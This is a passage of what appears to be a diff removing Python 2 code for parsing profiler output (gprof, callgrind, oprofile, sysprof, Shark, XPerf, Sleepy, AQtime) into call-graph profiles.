XML_ELEMENT_START: - return '<' + self.name_or_data + ' ...>' - if self.type == XML_ELEMENT_END: - return '</' + self.name_or_data + '>' - if self.type == XML_CHARACTER_DATA: - return self.name_or_data - if self.type == XML_EOF: - return 'end of file' - assert 0 - - -class XmlTokenizer: - """Expat based XML tokenizer.""" - - def __init__(self, fp, skip_ws = True): - self.fp = fp - self.tokens = [] - self.index = 0 - self.final = False - self.skip_ws = skip_ws - - self.character_pos = 0, 0 - self.character_data = '' - - self.parser = xml.parsers.expat.ParserCreate() - self.parser.StartElementHandler = self.handle_element_start - self.parser.EndElementHandler = self.handle_element_end - self.parser.CharacterDataHandler = self.handle_character_data - - def handle_element_start(self, name, attributes): - self.finish_character_data() - line, column = self.pos() - token = XmlToken(XML_ELEMENT_START, name, attributes, line, column) - self.tokens.append(token) - - def handle_element_end(self, name): - self.finish_character_data() - line, column = self.pos() - token = XmlToken(XML_ELEMENT_END, name, None, line, column) - self.tokens.append(token) - - def handle_character_data(self, data): - if not self.character_data: - self.character_pos = self.pos() - self.character_data += data - - def finish_character_data(self): - if self.character_data: - if not self.skip_ws or not self.character_data.isspace(): - line, column = self.character_pos - token = XmlToken(XML_CHARACTER_DATA, self.character_data, None, line, column) - self.tokens.append(token) - self.character_data = '' - - def next(self): - size = 16*1024 - while self.index >= len(self.tokens) and not self.final: - self.tokens = [] - self.index = 0 - data = self.fp.read(size) - self.final = len(data) < size - try: - self.parser.Parse(data, self.final) - except xml.parsers.expat.ExpatError, e: - #if e.code == xml.parsers.expat.errors.XML_ERROR_NO_ELEMENTS: - if e.code == 3: - pass - else: - raise e - if self.index >= len(self.tokens): - line, column = self.pos() - token = XmlToken(XML_EOF, None, None, line, column) - else: - token = self.tokens[self.index] - self.index += 1 - return token - - def pos(self): - return self.parser.CurrentLineNumber, self.parser.CurrentColumnNumber - - -class XmlTokenMismatch(Exception): - - def __init__(self, expected, found): - self.expected = expected - self.found = found - - def __str__(self): - return '%u:%u: %s expected, %s found' % (self.found.line, self.found.column, str(self.expected), str(self.found)) - - -class XmlParser(Parser): - """Base XML document parser.""" - - def __init__(self, fp): - Parser.__init__(self) - self.tokenizer = XmlTokenizer(fp) - self.consume() - - def consume(self): - self.token = self.tokenizer.next() - - def match_element_start(self, name): - return self.token.type == XML_ELEMENT_START and self.token.name_or_data == name - - def match_element_end(self, name): - return self.token.type == XML_ELEMENT_END and self.token.name_or_data == name - - def element_start(self, name): - while self.token.type == XML_CHARACTER_DATA: - self.consume() - if self.token.type != XML_ELEMENT_START: - raise XmlTokenMismatch(XmlToken(XML_ELEMENT_START, name), self.token) - if self.token.name_or_data != name: - raise XmlTokenMismatch(XmlToken(XML_ELEMENT_START, name), self.token) - attrs = self.token.attrs - self.consume() - return attrs - - def element_end(self, name): - while self.token.type == XML_CHARACTER_DATA: - self.consume() - if self.token.type != XML_ELEMENT_END: - raise XmlTokenMismatch(XmlToken(XML_ELEMENT_END, name), self.token) - if self.token.name_or_data != name: - raise XmlTokenMismatch(XmlToken(XML_ELEMENT_END, name), self.token) - self.consume() - - def character_data(self, strip = True): - data = '' - while self.token.type == XML_CHARACTER_DATA: - data += self.token.name_or_data - self.consume() - if strip: - data = data.strip() - return data - - -class GprofParser(Parser): - """Parser for GNU gprof output. - - See also: - - Chapter "Interpreting gprof's Output" from the GNU gprof manual - http://sourceware.org/binutils/docs-2.18/gprof/Call-Graph.html#Call-Graph - - File "cg_print.c" from the GNU gprof source code - http://sourceware.org/cgi-bin/cvsweb.cgi/~checkout~/src/gprof/cg_print.c?rev=1.12&cvsroot=src - """ - - def __init__(self, fp): - Parser.__init__(self) - self.fp = fp - self.functions = {} - self.cycles = {} - - def readline(self): - line = self.fp.readline() - if not line: - sys.stderr.write('error: unexpected end of file\n') - sys.exit(1) - line = line.rstrip('\r\n') - return line - - _int_re = re.compile(r'^\d+$') - _float_re = re.compile(r'^\d+\.\d+$') - - def translate(self, mo): - """Extract a structure from a match object, while translating the types in the process.""" - attrs = {} - groupdict = mo.groupdict() - for name, value in groupdict.iteritems(): - if value is None: - value = None - elif self._int_re.match(value): - value = int(value) - elif self._float_re.match(value): - value = float(value) - attrs[name] = (value) - return Struct(attrs) - - _cg_header_re = re.compile( - # original gprof header - r'^\s+called/total\s+parents\s*$|' + - r'^index\s+%time\s+self\s+descendents\s+called\+self\s+name\s+index\s*$|' + - r'^\s+called/total\s+children\s*$|' + - # GNU gprof header - r'^index\s+%\s+time\s+self\s+children\s+called\s+name\s*$' - ) - - _cg_ignore_re = re.compile( - # spontaneous - r'^\s+<spontaneous>\s*$|' - # internal calls (such as "mcount") - r'^.*\((\d+)\)$' - ) - - _cg_primary_re = re.compile( - r'^\[(?P<index>\d+)\]?' + - r'\s+(?P<percentage_time>\d+\.\d+)' + - r'\s+(?P<self>\d+\.\d+)' + - r'\s+(?P<descendants>\d+\.\d+)' + - r'\s+(?:(?P<called>\d+)(?:\+(?P<called_self>\d+))?)?' + - r'\s+(?P<name>\S.*?)' + - r'(?:\s+<cycle\s(?P<cycle>\d+)>)?' + - r'\s\[(\d+)\]$' - ) - - _cg_parent_re = re.compile( - r'^\s+(?P<self>\d+\.\d+)?' + - r'\s+(?P<descendants>\d+\.\d+)?' + - r'\s+(?P<called>\d+)(?:/(?P<called_total>\d+))?' + - r'\s+(?P<name>\S.*?)' + - r'(?:\s+<cycle\s(?P<cycle>\d+)>)?' + - r'\s\[(?P<index>\d+)\]$' - ) - - _cg_child_re = _cg_parent_re - - _cg_cycle_header_re = re.compile( - r'^\[(?P<index>\d+)\]?' + - r'\s+(?P<percentage_time>\d+\.\d+)' + - r'\s+(?P<self>\d+\.\d+)' + - r'\s+(?P<descendants>\d+\.\d+)' + - r'\s+(?:(?P<called>\d+)(?:\+(?P<called_self>\d+))?)?' + - r'\s+<cycle\s(?P<cycle>\d+)\sas\sa\swhole>' + - r'\s\[(\d+)\]$' - ) - - _cg_cycle_member_re = re.compile( - r'^\s+(?P<self>\d+\.\d+)?' + - r'\s+(?P<descendants>\d+\.\d+)?' + - r'\s+(?P<called>\d+)(?:\+(?P<called_self>\d+))?' + - r'\s+(?P<name>\S.*?)' + - r'(?:\s+<cycle\s(?P<cycle>\d+)>)?' + - r'\s\[(?P<index>\d+)\]$' - ) - - _cg_sep_re = re.compile(r'^--+$') - - def parse_function_entry(self, lines): - parents = [] - children = [] - - while True: - if not lines: - sys.stderr.write('warning: unexpected end of entry\n') - line = lines.pop(0) - if line.startswith('['): - break - - # read function parent line - mo = self._cg_parent_re.match(line) - if not mo: - if self._cg_ignore_re.match(line): - continue - sys.stderr.write('warning: unrecognized call graph entry: %r\n' % line) - else: - parent = self.translate(mo) - parents.append(parent) - - # read primary line - mo = self._cg_primary_re.match(line) - if not mo: - sys.stderr.write('warning: unrecognized call graph entry: %r\n' % line) - return - else: - function = self.translate(mo) - - while lines: - line = lines.pop(0) - - # read function subroutine line - mo = self._cg_child_re.match(line) - if not mo: - if self._cg_ignore_re.match(line): - continue - sys.stderr.write('warning: unrecognized call graph entry: %r\n' % line) - else: - child = self.translate(mo) - children.append(child) - - function.parents = parents - function.children = children - - self.functions[function.index] = function - - def parse_cycle_entry(self, lines): - - # read cycle header line - line = lines[0] - mo = self._cg_cycle_header_re.match(line) - if not mo: - sys.stderr.write('warning: unrecognized call graph entry: %r\n' % line) - return - cycle = self.translate(mo) - - # read cycle member lines - cycle.functions = [] - for line in lines[1:]: - mo = self._cg_cycle_member_re.match(line) - if not mo: - sys.stderr.write('warning: unrecognized call graph entry: %r\n' % line) - continue - call = self.translate(mo) - cycle.functions.append(call) - - self.cycles[cycle.cycle] = cycle - - def parse_cg_entry(self, lines): - if lines[0].startswith("["): - self.parse_cycle_entry(lines) - else: - self.parse_function_entry(lines) - - def parse_cg(self): - """Parse the call graph.""" - - # skip call graph header - while not self._cg_header_re.match(self.readline()): - pass - line = self.readline() - while self._cg_header_re.match(line): - line = self.readline() - - # process call graph entries - entry_lines = [] - while line != '\014': # form feed - if line and not line.isspace(): - if self._cg_sep_re.match(line): - self.parse_cg_entry(entry_lines) - entry_lines = [] - else: - entry_lines.append(line) - line = self.readline() - - def parse(self): - self.parse_cg() - self.fp.close() - - profile = Profile() - profile[TIME] = 0.0 - - cycles = {} - for index in self.cycles.iterkeys(): - cycles[index] = Cycle() - - for entry in self.functions.itervalues(): - # populate the function - function = Function(entry.index, entry.name) - function[TIME] = entry.self - if entry.called is not None: - function.called = entry.called - if entry.called_self is not None: - call = Call(entry.index) - call[CALLS] = entry.called_self - function.called += entry.called_self - - # populate the function calls - for child in entry.children: - call = Call(child.index) - - assert child.called is not None - call[CALLS] = child.called - - if child.index not in self.functions: - # NOTE: functions that were never called but were discovered by gprof's - # static call graph analysis dont have a call graph entry so we need - # to add them here - missing = Function(child.index, child.name) - function[TIME] = 0.0 - function.called = 0 - profile.add_function(missing) - - function.add_call(call) - - profile.add_function(function) - - if entry.cycle is not None: - try: - cycle = cycles[entry.cycle] - except KeyError: - sys.stderr.write('warning: <cycle %u as a whole> entry missing\n' % entry.cycle) - cycle = Cycle() - cycles[entry.cycle] = cycle - cycle.add_function(function) - - profile[TIME] = profile[TIME] + function[TIME] - - for cycle in cycles.itervalues(): - profile.add_cycle(cycle) - - # Compute derived events - profile.validate() - profile.ratio(TIME_RATIO, TIME) - profile.call_ratios(CALLS) - profile.integrate(TOTAL_TIME, TIME) - profile.ratio(TOTAL_TIME_RATIO, TOTAL_TIME) - - return profile - - -class CallgrindParser(LineParser): - """Parser for valgrind's callgrind tool. - - See also: - - http://valgrind.org/docs/manual/cl-Format.html - """ - - _call_re = re.compile('^calls=\s*(\d+)\s+((\d+|\+\d+|-\d+|\*)\s+)+$') - - def __init__(self, infile): - LineParser.__init__(self, infile) - - # Textual positions - self.position_ids = {} - self.positions = {} - - # Numeric positions - self.num_positions = 1 - self.cost_positions = ['line'] - self.last_positions = [0] - - # Events - self.num_events = 0 - self.cost_events = [] - - self.profile = Profile() - self.profile[SAMPLES] = 0 - - def parse(self): - # read lookahead - self.readline() - - self.parse_key('version') - self.parse_key('creator') - self.parse_part() - - # compute derived data - self.profile.validate() - self.profile.find_cycles() - self.profile.ratio(TIME_RATIO, SAMPLES) - self.profile.call_ratios(CALLS) - self.profile.integrate(TOTAL_TIME_RATIO, TIME_RATIO) - - return self.profile - - def parse_part(self): - while self.parse_header_line(): - pass - while self.parse_body_line(): - pass - return True - - def parse_header_line(self): - return \ - self.parse_empty() or \ - self.parse_comment() or \ - self.parse_part_detail() or \ - self.parse_description() or \ - self.parse_event_specification() or \ - self.parse_cost_line_def() or \ - self.parse_cost_summary() - - _detail_keys = set(('cmd', 'pid', 'thread', 'part')) - - def parse_part_detail(self): - return self.parse_keys(self._detail_keys) - - def parse_description(self): - return self.parse_key('desc') is not None - - def parse_event_specification(self): - event = self.parse_key('event') - if event is None: - return False - return True - - def parse_cost_line_def(self): - pair = self.parse_keys(('events', 'positions')) - if pair is None: - return False - key, value = pair - items = value.split() - if key == 'events': - self.num_events = len(items) - self.cost_events = items - if key == 'positions': - self.num_positions = len(items) - self.cost_positions = items - self.last_positions = [0]*self.num_positions - return True - - def parse_cost_summary(self): - pair = self.parse_keys(('summary', 'totals')) - if pair is None: - return False - return True - - def parse_body_line(self): - return \ - self.parse_empty() or \ - self.parse_comment() or \ - self.parse_cost_line() or \ - self.parse_position_spec() or \ - self.parse_association_spec() - - _cost_re = re.compile(r'^(\d+|\+\d+|-\d+|\*)( \d+)+$') - - def parse_cost_line(self, calls=None): - line = self.lookahead() - mo = self._cost_re.match(line) - if not mo: - return False - - function = self.get_function() - - values = line.split(' ') - assert len(values) == self.num_positions + self.num_events - - positions = values[0 : self.num_positions] - events = values[self.num_positions : ] - - for i in range(self.num_positions): - position = positions[i] - if position == '*': - position = self.last_positions[i] - elif position[0] in '-+': - position = self.last_positions[i] + int(position) - else: - position = int(position) - self.last_positions[i] = position - - events = map(float, events) - - if calls is None: - function[SAMPLES] += events[0] - self.profile[SAMPLES] += events[0] - else: - callee = self.get_callee() - callee.called += calls - - try: - call = function.calls[callee.id] - except KeyError: - call = Call(callee.id) - call[CALLS] = calls - call[SAMPLES] = events[0] - function.add_call(call) - else: - call[CALLS] += calls - call[SAMPLES] += events[0] - - self.consume() - return True - - def parse_association_spec(self): - line = self.lookahead() - if not line.startswith('calls='): - return False - - _, values = line.split('=', 1) - values = values.strip().split() - calls = int(values[0]) - call_position = values[1:] - self.consume() - - self.parse_cost_line(calls) - - return True - - _position_re = re.compile('^(?P<position>c?(?:ob|fl|fi|fe|fn))=\s*(?:\((?P<id>\d+)\))?(?:\s*(?P<name>.+))?') - - _position_table_map = { - 'ob': 'ob', - 'fl': 'fl', - 'fi': 'fl', - 'fe': 'fl', - 'fn': 'fn', - 'cob': 'ob', - 'cfl': 'fl', - 'cfi': 'fl', - 'cfe': 'fl', - 'cfn': 'fn', - } - - _position_map = { - 'ob': 'ob', - 'fl': 'fl', - 'fi': 'fl', - 'fe': 'fl', - 'fn': 'fn', - 'cob': 'cob', - 'cfl': 'cfl', - 'cfi': 'cfl', - 'cfe': 'cfl', - 'cfn': 'cfn', - } - - def parse_position_spec(self): - line = self.lookahead() - mo = self._position_re.match(line) - if not mo: - return False - - position, id, name = mo.groups() - if id: - table = self._position_table_map[position] - if name: - self.position_ids[(table, id)] = name - else: - name = self.position_ids.get((table, id), '') - self.positions[self._position_map[position]] = name - self.consume() - return True - - def parse_empty(self): - line = self.lookahead() - if line.strip(): - return False - self.consume() - return True - - def parse_comment(self): - line = self.lookahead() - if not line.startswith('#'): - return False - self.consume() - return True - - _key_re = re.compile(r'^(\w+):') - - def parse_key(self, key): - pair = self.parse_keys((key,)) - if not pair: - return None - key, value = pair - return value - line = self.lookahead() - mo = self._key_re.match(line) - if not mo: - return None - key, value = line.split(':', 1) - if key not in keys: - return None - value = value.strip() - self.consume() - return key, value - - def parse_keys(self, keys): - line = self.lookahead() - mo = self._key_re.match(line) - if not mo: - return None - key, value = line.split(':', 1) - if key not in keys: - return None - value = value.strip() - self.consume() - return key, value - - def make_function(self, module, filename, name): - # FIXME: module and filename are not being tracked reliably - #id = '|'.join((module, filename, name)) - id = name - try: - function = self.profile.functions[id] - except KeyError: - function = Function(id, name) - function[SAMPLES] = 0 - function.called = 0 - self.profile.add_function(function) - return function - - def get_function(self): - module = self.positions.get('ob', '') - filename = self.positions.get('fl', '') - function = self.positions.get('fn', '') - return self.make_function(module, filename, function) - - def get_callee(self): - module = self.positions.get('cob', '') - filename = self.positions.get('cfi', '') - function = self.positions.get('cfn', '') - return self.make_function(module, filename, function) - - -class OprofileParser(LineParser): - """Parser for oprofile callgraph output. - - See also: - - http://oprofile.sourceforge.net/doc/opreport.html#opreport-callgraph - """ - - _fields_re = { - 'samples': r'(\d+)', - '%': r'(\S+)', - 'linenr info': r'(?P<source>\(no location information\)|\S+:\d+)', - 'image name': r'(?P<image>\S+(?:\s\(tgid:[^)]*\))?)', - 'app name': r'(?P<application>\S+)', - 'symbol name': r'(?P<symbol>\(no symbols\)|.+?)', - } - - def __init__(self, infile): - LineParser.__init__(self, infile) - self.entries = {} - self.entry_re = None - - def add_entry(self, callers, function, callees): - try: - entry = self.entries[function.id] - except KeyError: - self.entries[function.id] = (callers, function, callees) - else: - callers_total, function_total, callees_total = entry - self.update_subentries_dict(callers_total, callers) - function_total.samples += function.samples - self.update_subentries_dict(callees_total, callees) - - def update_subentries_dict(self, totals, partials): - for partial in partials.itervalues(): - try: - total = totals[partial.id] - except KeyError: - totals[partial.id] = partial - else: - total.samples += partial.samples - - def parse(self): - # read lookahead - self.readline() - - self.parse_header() - while self.lookahead(): - self.parse_entry() - - profile = Profile() - - reverse_call_samples = {} - - # populate the profile - profile[SAMPLES] = 0 - for _callers, _function, _callees in self.entries.itervalues(): - function = Function(_function.id, _function.name) - function[SAMPLES] = _function.samples - profile.add_function(function) - profile[SAMPLES] += _function.samples - - if _function.application: - function.process = os.path.basename(_function.application) - if _function.image: - function.module = os.path.basename(_function.image) - - total_callee_samples = 0 - for _callee in _callees.itervalues(): - total_callee_samples += _callee.samples - - for _callee in _callees.itervalues(): - if not _callee.self: - call = Call(_callee.id) - call[SAMPLES2] = _callee.samples - function.add_call(call) - - # compute derived data - profile.validate() - profile.find_cycles() - profile.ratio(TIME_RATIO, SAMPLES) - profile.call_ratios(SAMPLES2) - profile.integrate(TOTAL_TIME_RATIO, TIME_RATIO) - - return profile - - def parse_header(self): - while not self.match_header(): - self.consume() - line = self.lookahead() - fields = re.split(r'\s\s+', line) - entry_re = r'^\s*' + r'\s+'.join([self._fields_re[field] for field in fields]) + r'(?P<self>\s+\[self\])?$' - self.entry_re = re.compile(entry_re) - self.skip_separator() - - def parse_entry(self): - callers = self.parse_subentries() - if self.match_primary(): - function = self.parse_subentry() - if function is not None: - callees = self.parse_subentries() - self.add_entry(callers, function, callees) - self.skip_separator() - - def parse_subentries(self): - subentries = {} - while self.match_secondary(): - subentry = self.parse_subentry() - subentries[subentry.id] = subentry - return subentries - - def parse_subentry(self): - entry = Struct() - line = self.consume() - mo = self.entry_re.match(line) - if not mo: - raise ParseError('failed to parse', line) - fields = mo.groupdict() - entry.samples = int(mo.group(1)) - if 'source' in fields and fields['source'] != '(no location information)': - source = fields['source'] - filename, lineno = source.split(':') - entry.filename = filename - entry.lineno = int(lineno) - else: - source = '' - entry.filename = None - entry.lineno = None - entry.image = fields.get('image', '') - entry.application = fields.get('application', '') - if 'symbol' in fields and fields['symbol'] != '(no symbols)': - entry.symbol = fields['symbol'] - else: - entry.symbol = '' - if entry.symbol.startswith('"') and entry.symbol.endswith('"'): - entry.symbol = entry.symbol[1:-1] - entry.id = ':'.join((entry.application, entry.image, source, entry.symbol)) - entry.self = fields.get('self', None) != None - if entry.self: - entry.id += ':self' - if entry.symbol: - entry.name = entry.symbol - else: - entry.name = entry.image - return entry - - def skip_separator(self): - while not self.match_separator(): - self.consume() - self.consume() - - def match_header(self): - line = self.lookahead() - return line.startswith('samples') - - def match_separator(self): - line = self.lookahead() - return line == '-'*len(line) - - def match_primary(self): - line = self.lookahead() - return not line[:1].isspace() - - def match_secondary(self): - line = self.lookahead() - return line[:1].isspace() - - -class SysprofParser(XmlParser): - - def __init__(self, stream): - XmlParser.__init__(self, stream) - - def parse(self): - objects = {} - nodes = {} - - self.element_start('profile') - while self.token.type == XML_ELEMENT_START: - if self.token.name_or_data == 'objects': - assert not objects - objects = self.parse_items('objects') - elif self.token.name_or_data == 'nodes': - assert not nodes - nodes = self.parse_items('nodes') - else: - self.parse_value(self.token.name_or_data) - self.element_end('profile') - - return self.build_profile(objects, nodes) - - def parse_items(self, name): - assert name[-1] == 's' - items = {} - self.element_start(name) - while self.token.type == XML_ELEMENT_START: - id, values = self.parse_item(name[:-1]) - assert id not in items - items[id] = values - self.element_end(name) - return items - - def parse_item(self, name): - attrs = self.element_start(name) - id = int(attrs['id']) - values = self.parse_values() - self.element_end(name) - return id, values - - def parse_values(self): - values = {} - while self.token.type == XML_ELEMENT_START: - name = self.token.name_or_data - value = self.parse_value(name) - assert name not in values - values[name] = value - return values - - def parse_value(self, tag): - self.element_start(tag) - value = self.character_data() - self.element_end(tag) - if value.isdigit(): - return int(value) - if value.startswith('"') and value.endswith('"'): - return value[1:-1] - return value - - def build_profile(self, objects, nodes): - profile = Profile() - - profile[SAMPLES] = 0 - for id, object in objects.iteritems(): - # Ignore fake objects (process names, modules, "Everything", "kernel", etc.) - if object['self'] == 0: - continue - - function = Function(id, object['name']) - function[SAMPLES] = object['self'] - profile.add_function(function) - profile[SAMPLES] += function[SAMPLES] - - for id, node in nodes.iteritems(): - # Ignore fake calls - if node['self'] == 0: - continue - - # Find a non-ignored parent - parent_id = node['parent'] - while parent_id != 0: - parent = nodes[parent_id] - caller_id = parent['object'] - if objects[caller_id]['self'] != 0: - break - parent_id = parent['parent'] - if parent_id == 0: - continue - - callee_id = node['object'] - - assert objects[caller_id]['self'] - assert objects[callee_id]['self'] - - function = profile.functions[caller_id] - - samples = node['self'] - try: - call = function.calls[callee_id] - except KeyError: - call = Call(callee_id) - call[SAMPLES2] = samples - function.add_call(call) - else: - call[SAMPLES2] += samples - - # Compute derived events - profile.validate() - profile.find_cycles() - profile.ratio(TIME_RATIO, SAMPLES) - profile.call_ratios(SAMPLES2) - profile.integrate(TOTAL_TIME_RATIO, TIME_RATIO) - - return profile - - -class SharkParser(LineParser): - """Parser for MacOSX Shark output. - - Author: tom@dbservice.com - """ - - def __init__(self, infile): - LineParser.__init__(self, infile) - self.stack = [] - self.entries = {} - - def add_entry(self, function): - try: - entry = self.entries[function.id] - except KeyError: - self.entries[function.id] = (function, { }) - else: - function_total, callees_total = entry - function_total.samples += function.samples - - def add_callee(self, function, callee): - func, callees = self.entries[function.id] - try: - entry = callees[callee.id] - except KeyError: - callees[callee.id] = callee - else: - entry.samples += callee.samples - - def parse(self): - self.readline() - self.readline() - self.readline() - self.readline() - - match = re.compile(r'(?P<prefix>[|+ ]*)(?P<samples>\d+), (?P<symbol>[^,]+), (?P<image>.*)') - - while self.lookahead(): - line = self.consume() - mo = match.match(line) - if not mo: - raise ParseError('failed to parse', line) - - fields = mo.groupdict() - prefix = len(fields.get('prefix', 0)) / 2 - 1 - - symbol = str(fields.get('symbol', 0)) - image = str(fields.get('image', 0)) - - entry = Struct() - entry.id = ':'.join([symbol, image]) - entry.samples = int(fields.get('samples', 0)) - - entry.name = symbol - entry.image = image - - # adjust the callstack - if prefix < len(self.stack): - del self.stack[prefix:] - - if prefix == len(self.stack): - self.stack.append(entry) - - # if the callstack has had an entry, it's this functions caller - if prefix > 0: - self.add_callee(self.stack[prefix - 1], entry) - - self.add_entry(entry) - - profile = Profile() - profile[SAMPLES] = 0 - for _function, _callees in self.entries.itervalues(): - function = Function(_function.id, _function.name) - function[SAMPLES] = _function.samples - profile.add_function(function) - profile[SAMPLES] += _function.samples - - if _function.image: - function.module = os.path.basename(_function.image) - - for _callee in _callees.itervalues(): - call = Call(_callee.id) - call[SAMPLES] = _callee.samples - function.add_call(call) - - # compute derived data - profile.validate() - profile.find_cycles() - profile.ratio(TIME_RATIO, SAMPLES) - profile.call_ratios(SAMPLES) - profile.integrate(TOTAL_TIME_RATIO, TIME_RATIO) - - return profile - - -class XPerfParser(Parser): - """Parser for CSVs generted by XPerf, from Microsoft Windows Performance Tools. - """ - - def __init__(self, stream): - Parser.__init__(self) - self.stream = stream - self.profile = Profile() - self.profile[SAMPLES] = 0 - self.column = {} - - def parse(self): - import csv - reader = csv.reader( - self.stream, - delimiter = ',', - quotechar = None, - escapechar = None, - doublequote = False, - skipinitialspace = True, - lineterminator = '\r\n', - quoting = csv.QUOTE_NONE) - it = iter(reader) - row = reader.next() - self.parse_header(row) - for row in it: - self.parse_row(row) - - # compute derived data - self.profile.validate() - self.profile.find_cycles() - self.profile.ratio(TIME_RATIO, SAMPLES) - self.profile.call_ratios(SAMPLES2) - self.profile.integrate(TOTAL_TIME_RATIO, TIME_RATIO) - - return self.profile - - def parse_header(self, row): - for column in range(len(row)): - name = row[column] - assert name not in self.column - self.column[name] = column - - def parse_row(self, row): - fields = {} - for name, column in self.column.iteritems(): - value = row[column] - for factory in int, float: - try: - value = factory(value) - except ValueError: - pass - else: - break - fields[name] = value - - process = fields['Process Name'] - symbol = fields['Module'] + '!' + fields['Function'] - weight = fields['Weight'] - count = fields['Count'] - - function = self.get_function(process, symbol) - function[SAMPLES] += weight * count - self.profile[SAMPLES] += weight * count - - stack = fields['Stack'] - if stack != '?': - stack = stack.split('/') - assert stack[0] == '[Root]' - if stack[-1] != symbol: - # XXX: some cases the sampled function does not appear in the stack - stack.append(symbol) - caller = None - for symbol in stack[1:]: - callee = self.get_function(process, symbol) - if caller is not None: - try: - call = caller.calls[callee.id] - except KeyError: - call = Call(callee.id) - call[SAMPLES2] = count - caller.add_call(call) - else: - call[SAMPLES2] += count - caller = callee - - def get_function(self, process, symbol): - function_id = process + '!' + symbol - - try: - function = self.profile.functions[function_id] - except KeyError: - module, name = symbol.split('!') - function = Function(function_id, name) - function.process = process - function.module = module - function[SAMPLES] = 0 - self.profile.add_function(function) - - return function - - -class SleepyParser(Parser): - """Parser for GNU gprof output. - - See also: - - http://www.codersnotes.com/sleepy/ - - http://sleepygraph.sourceforge.net/ - """ - - def __init__(self, filename): - Parser.__init__(self) - - from zipfile import ZipFile - - self.database = ZipFile(filename) - - self.symbols = {} - self.calls = {} - - self.profile = Profile() - - _symbol_re = re.compile( - r'^(?P<id>\w+)' + - r'\s+"(?P<module>[^"]*)"' + - r'\s+"(?P<procname>[^"]*)"' + - r'\s+"(?P<sourcefile>[^"]*)"' + - r'\s+(?P<sourceline>\d+)$' - ) - - def parse_symbols(self): - lines = self.database.read('symbols.txt').splitlines() - for line in lines: - mo = self._symbol_re.match(line) - if mo: - symbol_id, module, procname, sourcefile, sourceline = mo.groups() - - function_id = ':'.join([module, procname]) - - try: - function = self.profile.functions[function_id] - except KeyError: - function = Function(function_id, procname) - function.module = module - function[SAMPLES] = 0 - self.profile.add_function(function) - - self.symbols[symbol_id] = function - - def parse_callstacks(self): - lines = self.database.read("callstacks.txt").splitlines() - for line in lines: - fields = line.split() - samples = int(fields[0]) - callstack = fields[1:] - - callstack = [self.symbols[symbol_id] for symbol_id in callstack] - - callee = callstack[0] - - callee[SAMPLES] += samples - self.profile[SAMPLES] += samples - - for caller in callstack[1:]: - try: - call = caller.calls[callee.id] - except KeyError: - call = Call(callee.id) - call[SAMPLES2] = samples - caller.add_call(call) - else: - call[SAMPLES2] += samples - - callee = caller - - def parse(self): - profile = self.profile - profile[SAMPLES] = 0 - - self.parse_symbols() - self.parse_callstacks() - - # Compute derived events - profile.validate() - profile.find_cycles() - profile.ratio(TIME_RATIO, SAMPLES) - profile.call_ratios(SAMPLES2) - profile.integrate(TOTAL_TIME_RATIO, TIME_RATIO) - - return profile - - -class AQtimeTable: - - def __init__(self, name, fields): - self.name = name - - self.fields = fields - self.field_column = {} - for column in range(len(fields)): - self.field_column[fields[column]] = column - self.rows = [] - - def __len__(self): - return len(self.rows) - - def __iter__(self): - for values, children in self.rows: - fields = {} - for name, value in zip(self.fields, values): - fields[name] = value - children = dict([(child.name, child) for child in children]) - yield fields, children - raise StopIteration - - def add_row(self, values, children=()): - self.rows.append((values, children)) - - -class AQtimeParser(XmlParser): - - def __init__(self, stream): - XmlParser.__init__(self, stream) - self.tables = {} - - def parse(self): - self.element_start('AQtime_Results') - self.parse_headers() - results = self.parse_results() - self.element_end('AQtime_Results') - return self.build_profile(results) - - def parse_headers(self): - self.element_start('HEADERS') - while self.token.type == XML_ELEMENT_START: - self.parse_table_header() - self.element_end('HEADERS') - - def parse_table_header(self): - attrs = self.element_start('TABLE_HEADER') - name = attrs['NAME'] - id = int(attrs['ID']) - field_types = [] - field_names = [] - while self.token.type == XML_ELEMENT_START: - field_type, field_name = self.parse_table_field() - field_types.append(field_type) - field_names.append(field_name) - self.element_end('TABLE_HEADER') - self.tables[id] = name, field_types, field_names - - def parse_table_field(self): - attrs = self.element_start('TABLE_FIELD') - type = attrs['TYPE'] - name = self.character_data() - self.element_end('TABLE_FIELD') - return type, name - - def parse_results(self): - self.element_start('RESULTS') - table = self.parse_data() - self.element_end('RESULTS') - return table - - def parse_data(self): - rows = [] - attrs = self.element_start('DATA') - table_id = int(attrs['TABLE_ID']) - table_name, field_types, field_names = self.tables[table_id] - table = AQtimeTable(table_name, field_names) - while self.token.type == XML_ELEMENT_START: - row, children = self.parse_row(field_types) - table.add_row(row, children) - self.element_end('DATA') - return table - - def parse_row(self, field_types): - row = [None]*len(field_types) - children = [] - self.element_start('ROW') - while self.token.type == XML_ELEMENT_START: - if self.token.name_or_data == 'FIELD': - field_id, field_value = self.parse_field(field_types) - row[field_id] = field_value - elif self.token.name_or_data == 'CHILDREN': - children = self.parse_children() - else: - raise XmlTokenMismatch("<FIELD ...> or <CHILDREN ...>", self.token) - self.element_end('ROW') - return row, children - - def parse_field(self, field_types): - attrs = self.element_start('FIELD') - id = int(attrs['ID']) - type = field_types[id] - value = self.character_data() - if type == 'Integer': - value = int(value) - elif type == 'Float': - value = float(value) - elif type == 'Address': - value = int(value) - elif type == 'String': - pass - else: - assert False - self.element_end('FIELD') - return id, value - - def parse_children(self): - children = [] - self.element_start('CHILDREN') - while self.token.type == XML_ELEMENT_START: - table = self.parse_data() - assert table.name not in children - children.append(table) - self.element_end('CHILDREN') - return children - - def build_profile(self, results): - assert results.name == 'Routines' - profile = Profile() - profile[TIME] = 0.0 - for fields, tables in results: - function = self.build_function(fields) - children = tables['Children'] - for fields, _ in children: - call = self.build_call(fields) - function.add_call(call) - profile.add_function(function) - profile[TIME] = profile[TIME] + function[TIME] - profile[TOTAL_TIME] = profile[TIME] - profile.ratio(TOTAL_TIME_RATIO, TOTAL_TIME) - return profile - - def build_function(self, fields): - function = Function(self.build_id(fields), self.build_name(fields)) - function[TIME] = fields['Time'] - function[TOTAL_TIME] = fields['Time with Children'] - #function[TIME_RATIO] = fields['% Time']/100.0 - #function[TOTAL_TIME_RATIO] = fields['% with Children']/100.0 - return function - - def build_call(self, fields): - call = Call(self.build_id(fields)) - call[TIME] = fields['Time'] - call[TOTAL_TIME] = fields['Time with Children'] - #call[TIME_RATIO] = fields['% Time']/100.0 - #call[TOTAL_TIME_RATIO] = fields['% with Children']/100.0 - return call - - def build_id(self, fields): - return ':'.join([fields['Module Name'], fields['Unit Name'], fields['Routine Name']]) - - def build_name(self, fields): - # TODO: use more fields - return fields['Routine Name'] - - -class PstatsParser: - """Parser python profiling statistics saved with te pstats module.""" - - def __init__(self, *filename): - import pstats - try: - self.stats = pstats.Stats(*filename) 